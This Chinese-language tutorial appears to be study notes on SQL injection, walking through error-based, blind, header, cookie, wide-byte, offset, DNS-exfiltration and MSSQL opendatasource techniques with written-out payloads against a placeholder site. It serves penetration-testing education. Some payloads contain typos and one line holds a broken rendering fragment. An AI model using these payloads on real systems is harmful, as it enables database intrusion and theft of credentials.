显错注入
SQL注入的最基本的原理是用户输入的数据被当做代码执行。
要有两个关键的条件:1.用户能够控制输入。2.原本程序要执行的的代码,拼接了用户输入的数据然后进行执行。
SQL注入就是针对SQL语句的注入,也可以理解为用户输入的数据当成SQL语句的代码被执行。
他是在1998年有一面叫rfp的黑客发表的一篇博客进入大众视野的。
首先判断是否存在注入点:
- and 1= 1 页面正常,and 1=2 页面不正常,很大概率存在SQL注入。
- 输入‘(单引号)页面报错,可以得出SQL语句执行不成功,存在SQL注入。
- id = 2-1 看页面是否正常。显示正常就很大可能性存在SQL注入。
-
使用函数,如sleep(10);看页面是否存在延时。
如果是数字型传参,可以尝试 -1 例如:www.xxx.com/new.php?id = 1显示新闻页面, www.xxx.com/new.php?new.php?id = 2-1 页面也正常显示新闻。很大几率存在SQL注入。在正常网站中and 1=1 和and 1=2 经常被拦截,因此我们可以尝试 and -1=-1 , and -1 =-2 ,and 1>0 , or 1 =1等
SQL注入的基本流程:
1. 是否存在注入点。
2. 猜解字段数,使用order by 语句进行。
3. 联合查询寻找输出点
4. 然后在系统自带库寻找表名和字段名
5. 查询我们需要的字段的值
显错注入一般是在URL栏中进行传参,我们要考虑存在单引号,双引号,中括号的闭合问题,这里注释可以采取 – qwe 或者#的方式。
下面演示显错注入的一套流程(这里闭合方式采用单引号):
1. www.xxx.com/new.php?id =1
2. www.xxx.com/new.php?id =1' and 1= 1 -- qwe
3. www.xxx.com/new.php?id =1' and 1= 2 -- qwe
4. www.xxx.com/new.php?id =1' and 1 =1 order by 1 -- qwe 页面正常的话存在 1个字段 ,依次类推 直至页面不正常为止。 最后一个页面正常的数字就是字段数,接下来我们假设字段数为3.
5. www.xxx.com/new.php?id =1' union select 888,999,666 -- qwe 这里页面应该发生变化,我们观察页面变化后 ,输出了我们 三个数字中的那些,那一块就是输出点,这里我们假设 666 位输出点。
6. www.xxx.com/new.php?id =1' union select 888,999,database() -- qwe 这样我们就可以获取当前库名。
7. www.xxx.com/new.php?id =1' union select 888,999,table_name form information_schema.tables where table_schema = database() limit 0,1 -- qwe 这里就是通过查询系统自带库获取当前数据库中的表名,一般输出点只能输出一条数据,因此使用limit 进行分页输出。
8. www.xxx.com/new.php?id =1' union select 888,999,column_name from information_schema.table_name where table_schema = database() and column_schema = table_name limit 0,1 -- qwe 这里查询出来的是字段名,table_name代表上一条语句查询出来的表名。
9. www.xxx.com/new.php?id =1' union select 888,999, 库.表.字段 limit 0 ,1 -- qwe 得出我们想要的字段中的信息。
POST注入
Post注入主要应用于存在表单的环境,如:登陆框,留言板等
具体的流程跟显错注入一样,只不过变化在于注入点位于登陆框等,而不是URL栏中。
Head注入
在PHP中使用全局变量:$_GET, $ _ POST, $ _ REQUEST来接受传参,他们是未经过定义直接可以使用的变量,这也意味着他在一个脚本的中任何地方都能起作用。
下面介绍一些Head注入用到的超全局变量:
$ _REQUEST: 能够获取GET/POST/COOKie 三种方式的传参,cookie在新版本中已经无法获取。
$ _POST: 获取POST类型的传参。
$ _GET: 获取GET类型的传参。
$ _COOkie:获取cookie的值。
$ _SERVER:包含诸如头信息,路径,以及脚本位置得到信息数组,这个全局变量的功能十分的强大。
$ _SERVER[‘HTTP_REFERER’]:获取REFERER请求头的数据
$ _SERVER[‘HTTP_USER_AGENT’]:获取用户相关信息,包括用户浏览器,操作系统信息。
$ _SERVER[‘REMOTE_ADDR’]:获取网页用户的IP
Head注入的核心:将数据插入到数据库中想办法显示出来。当传参涉及ip的时候可以插入X-FOEWARDER-FOR,它使是用来识别HTTP代理或者负载均衡的方式连接到web服务器的客户端最原始的IP地址的HTTP请求头字段。
注入手法为:
利用burp抓取数据包,通过分析数据,得到可以注入的超群局变量的注入点,(分析不出来,那就挨个试)与显错注入的手法一致,得到想要的数据,但是插入的语句要在burpsuit抓取的数据包中进行。
报错注入
在显错注入不能使用的条件下,我们通过使用致命性报错的语句,是的数据库报错,通过反馈给自己的报错信息,得到想要的数据。
注入手法:
1.updatexml(目标xml内容,xml文档路径,更新内容),更新xml函数的文档的函数。
2.concat(1,2)拼接两个字符串,使其报错是建议在数据库语句中拼接0x7e 或者~ !等 产生致命性报错。
3.致命性报错才会显示出来,并且数据必须一行一行获取。
盲注
与报错注入类似,都是在注入页面没有回显,不存在输出点的时候采取的方式。所谓的盲注也就是在服务器没有错误回显的时候进行的注入攻击,错误回显相当于攻击者的左膀右臂,没有回显对于攻击者来说少了非常重要的调试信息。
两种类型的盲注:
布尔型盲注:布尔盲注很明显只会根据你的注入信息返回TURE/FALSE来判断是否正确。
***时间型盲注:***页面返回值只有一种 ture,无论输入任何值,返回情况都会按照正常来处理。加入特定的时间函数,通过查看页面是否延时来进行判断语句是否正常。
注入手法
1.了解必备几个函数:
length():判断字符串长度。
substr();截取字符串长度。substr(字符串,截取的字符,截取长度)。
ascii():返回ascii码,将字符串转化为数字。
if(条件,ture,false):三目运算符。
2.盲注主要的方式就是一点一点的猜下去。
1. www.xxx.com/new.php?id =1
2. www.xxx.com/new.php?id =1' and 1length(database())= 1 -- qwe
通过改变1位置的值,结合页面是否变化,判断库名的长度。
3. www.xxx.com/new.php?id =1' and if((length(database()),sleep(5),1)= 1 -- qwe 时间注入只是多了一个三目运算符而已。
宽字节注入
魔术引号 magic_quotes_gpc(这是魔术引号的开关函数)魔术引号的作用是判断用户输入的数据,如:post, get, cookie过来的数据增加转义字符,,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符一起污染而出现致命错误,它的存在严重的影响了我们的闭合问题。
解决方案:
1.寻找不需要闭合的注入点。
2.使用宽字节注入,利用特殊编码将反斜杠拼成一个汉字。
原理:由于不同国家编码格式的不同英语字符一般占一个字符,汉字一般占两个字符,我们可以用一个字符和反斜杠拼接成一个汉字,从而达到闭合方式。
注入手法
1.输入一个复杂一点的汉字进行闭合。
2.利用burpsuit抓包,通过修改Hex码的值进行闭合。
Access注入-Cookie注入
HTTP协议:他的特点是无状态,无连接。
Cookie:通过一串字符串来确定你的身份【它本身并不安全】
Cookie注入一般适用于,在GET和POST传参都被禁用的情况下。
在注入的时候,遇到拦截我们需要考虑什么?
1.找到不被拦截的东西(Get,Post,Head,Cookie等传参方式)
2.寻找规则,判断他为啥被拦截。
Cookie注入满足的条件:
- 满足注入的条件,即 用户能够控制输入,用户输入的语句能够被当做SQL语句执行。
- 网站会获取cookie传参和原有SQl语句拼接进入数据库。
Cookie修改的方式:
- burpsuit抓取数据包,修改里面的cookie。
- 使用JavaScript设置Cookie:dociment.cookie=“id=” +escape“171”
- 浏览器内置插件EditThisCookie修改cookie。
注入手法
跟显错注入差不多,通过在cokie的值中拼接SQL语句,这里需要注意的是Access是一款上古数据库,他是没有系统自带库的(MYSQL,MSSQL,Oracle都是有滴)因此查询系统自带库的方法是不可取的,而且查询语句后面必须携带表名。我们可以采取,强行猜解的方式,尝试常见的库名表名,使用union exists的联合 查询 正确正常反之报错。(这个强行猜解,就很死亡,是不到万不得已都不会使用的杀招,而且在使用的时候一定要有好的心态。)
偏移注入
适用情况:
在SQL注入时会遇到一些无法查询到列名的问题,比如系统自带数据库的权限不够而无法访问系统自带库,而且在你可以强行猜解表名无法获得字段名的情况下,我们可以适用偏移注入,来查询那张表中的数据。
注意事项:
联合查询必须要满足一个条件,就是前面的查询和后面的查询字段数必须相等,因为前面那张表的查询字段数是固定的,后面那张我们控制,但是当你使用admin.* 代表admin整个表的字段,如果admin表字段比前面那个表多,就不符合联合查询
注入手法:
老规矩先判断清楚当前数据库的字段数,然后找到输出点,然后将表名.*这个语句放入查找输出点的位置,通过调整表名 . *这个语句的位置,从而在对应输出点得到自己想要的数据。
**局限性:**偏移注入存在很大的局限性,如果显错位不够的话,很多数据是提取不出来的。
来一张脑图方便理解
DNS注入
DNS注入原理
通过子查询,将内容拼接到域名内,让load_file()去访问共享文件,访问的域名被记录,此时变为显错注入,将盲注变显错注入,读取远程共享文件,通过拼接出函数做查询,拼接到域名中,访问时将访问服务器,记录后查看日志 load_file()函数
load_file 读取文件函数,读取的内容返回为字符串输出,利用读取注入的报错信息,然后返回报错信息(显错注入)
返回内容有限制大小,server有接受大小限制,文件必须在服务器上,指定路径要完整,必须有file权限,所有字节可读…
注入语句一般为(如图所示):
能够使用DNS注入的网站,代表都可以使用load_file去读取文件,实际上可以尝试去读取一些敏感文件,也许运气好,读到了管理员的账号密码,或者是一些敏感信息其实都是可能的!
如果语句成功,就可以了,我们还需要一个DNS服务网站,我这里推荐DNSLog.cn。
MSSQL——反弹注入
适用场景:
mssql反弹注入原理
依靠opendatasource函数,把查询出的数据发送到MSSQL服务器上,DNS注入和mssql注入都是用了特殊函数,都将得到的信息输出传到外部,一个是DNS域,一个是mssql服务器上
注入手法
在云平台建立自己的服务器使用MSSQL数据库(也就是SQL server)创建好之后利用
inert into opendatasource('sqloledb',''server = xxx,1433;uid = xxx;pwd =xxx;database=xxx;).服务器.库.dbo.表 select*from admin
将admin表中的数据反弹到自己创建好的数据库中。
通过系统自带库查询数据库名
select name from dbo.sysdatabases
如何通过系统自带库查询表名(查询用户建立的数据表)
select name,id from dbo.sysobjects where xtype=’U’
如何通过系统自带库查询字段名(查询表的时候记录需要表的id值)
select name,id from dbo.syscolumns where id=245575913
查询当前库名
select db_name()
这里查询的库和自己创建的库格式必须一致,即字段数表名啥的一样多。
Oracle注入——报错注入
什么是Oracle数据库?
Oracle 数据库系统,是美国ORACLE公司(甲骨文)提供的以分布式数据库为核心的一组软件产品。Oracle数据库也是一种关系数据库,此数据库体量较大,一般与jsp网站联合。
Oracle 系统表
Oracle中内置了大量的系统表(有点类似MySQL中的information_schema数据库),根据不同的权限可读取不同的系统表。可通过读取这些系统表获取我们想要的数据(用户信息、表、字段、数据库信息等)。
DBA、ALL、USER、V_KaTeX parse error: Expected group after '_' at position 4: 、GV_̲、SESSION、INDEX开头的绝大部分都是视图。
DBA_TABLES意为DBA拥有的或可以访问的所有的关系表。
ALL_TABLES意为某一用户拥有的或可以访问的所有的关系表。
USER_TABLES意为某一用户所拥有的所有的关系表。
当某一用户本身就为数据库DBA时,DBA_TABLES与ALL_TABLES等价。
DBA_TABLES >= ALL_TABLES >= USER_TABLES
需要注意的是在ORACLE数据库中大小写是敏感的,而此三表中数据默认都是大写的,所以在进行查询的时候注意小写的数据可能会造成数据无法查到。
Oracle数据库中的dual表
Oracle 使用查询语句获取数据时需要跟上表名,没有表的情况下可以使用dual,dual是Oracle的虚拟表,只是用来构成select的语法规则。
Oracle数据类型要注意的问题?
Oracle的数据类型是强匹配的(MYSQL有弱匹配),所以在Oracle进行类似UNION查询数据时候必须让对应位置上的数据类型和表中的列的数据类型是一致的,也可以使用null代替某些无法快速猜测出数据类型的位置。
Oracle的基本查询语句有哪些?
select * from all_tables(查出所有的表);
select * from user_tables(查出当前用户的表);
select * from all_tab_columns(查出当前用户的字段);
select * from user_tab_columns(查出当前用户的字段);
select * from v$version(查版本)
select count(*) from all_objects(Oracle查表里总条数)
ctxsys.drithsx.sn(用户名,(查询语句)) 报错必备语句
Oracle 中rownum的用法,是怎么用的?
oracle数据库不支持mysql中limit功能,但可以通过rownum来限制返回的结果集的行数,rownum并不是用户添加的字段,而是oracle系统自动添加的。 对于rownum来说它是oracle系统顺序分配为从查询返回的行的编号,返回的第一行分配的是1,第二行是2,依此类推,这个伪字段可以用于限制查询返回的总行数,而且rownum不能以任何表的名称作为前缀。
我们可以使用子查询方式实现limit功能:
通过改变 where 后面no的值实现